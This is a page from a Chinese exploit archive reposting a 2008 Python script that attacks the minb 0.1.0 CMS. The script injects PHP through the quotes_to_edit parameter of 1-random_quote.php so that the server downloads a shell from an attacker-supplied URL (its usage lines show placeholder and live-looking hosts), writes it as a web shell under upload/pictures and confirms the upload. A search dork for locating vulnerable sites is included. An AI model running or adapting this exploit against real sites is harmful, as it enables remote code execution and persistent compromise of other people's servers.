首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
minb 0.1.0 Remote Code Execution Exploit
来源:Http://IRCRASH.COM 作者:IRCRASH 发布时间:2008-09-12  
#!/usr/bin/python
#####################################################################################
####                     minb Remote Code Execution Exploit                      ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Site : http://minb.sf.net                                                          #
#                                                                                   #
#Download : http://switch.dl.sourceforge.net/sourceforge/minb/minb-0.1.0.tar.bz2    #
#                                                                                   #
#DORK : Powered by minb                                                             #
#                                                                                   #
#####################################################################################
#                                     [Note]                                        #
#                                                                                   #
#All php file in this cms have this bug ;)                                          #
#                                                                                   #
#####################################################################################
#                             Site : Http://IRCRASH.COM                             #
###################################### TNX GOD ######################################
import sys,urllib
if len(sys.argv)<3 :
    print "minb Remote code Execution Exploit"
    print "Powered by : R3d.W0rm"
    print "www.IrCrash.com"
    print "Usage : " + sys.argv[0] + " http://Target/path http://evil/shell.txt"
    print "Ex. " + sys.argv[0] + " http://site.com/minb http://r3d.a20.ir/r.txt"
    exit()
if 'http://' not in sys.argv[1] :
    sys.argv[1]='http://' + sys.argv[1]
if 'http://' not in sys.argv[2] :
    sys.argv[2]='http://' + sys.argv[2]
fp='/include/modules/top/1-random_quote.php?parse=r3d.w0rm'
data=urllib.urlencode({'quotes_to_edit':'quotes_to_edit=";$s=fopen(\'' + sys.argv[2] + '\',r);while(!feof($s)){$shell.=fread($s,1024);};fclose($s);$fp=fopen(\'../../../upload/pictures/r3d.w0rm.php\',\'w+\');fwrite($fp,$shell);fclose($fp);/*'})
urllib.urlopen(sys.argv[1] + fp,data)
urllib.urlopen(sys.argv[1] + fp)
test=urllib.urlopen(sys.argv[1] + '/upload/pictures/r3d.w0rm.php').read()
if 'Not Found' not in test :
    print "Shell Uploaded ."
    print sys.argv[1] + '/upload/pictures/r3d.w0rm.php'
exit()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phsBlog 0.2 Bypass SQL Injecti
·Maxthon Browser 2.1.4.443 UNIC
·Easy Photo Gallery 2.1 XSS/FD/
·Yourownbux 4.0 (COOKIE) Authen
·Adobe Acrobat 9 ActiveX Remote
·pLink 2.07 (linkto.php id) Rem
·Sports Clubs Web Panel 0.0.1 R
·Windows Media Encoder wmex.dll
·Wordpress 2.6.1 (SQL Column Tr
·The Personal FTP Server 6.0f R
·Peachtree Accounting 2004 (PAW
·CzarNews <= 1.20 (Cookie) Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved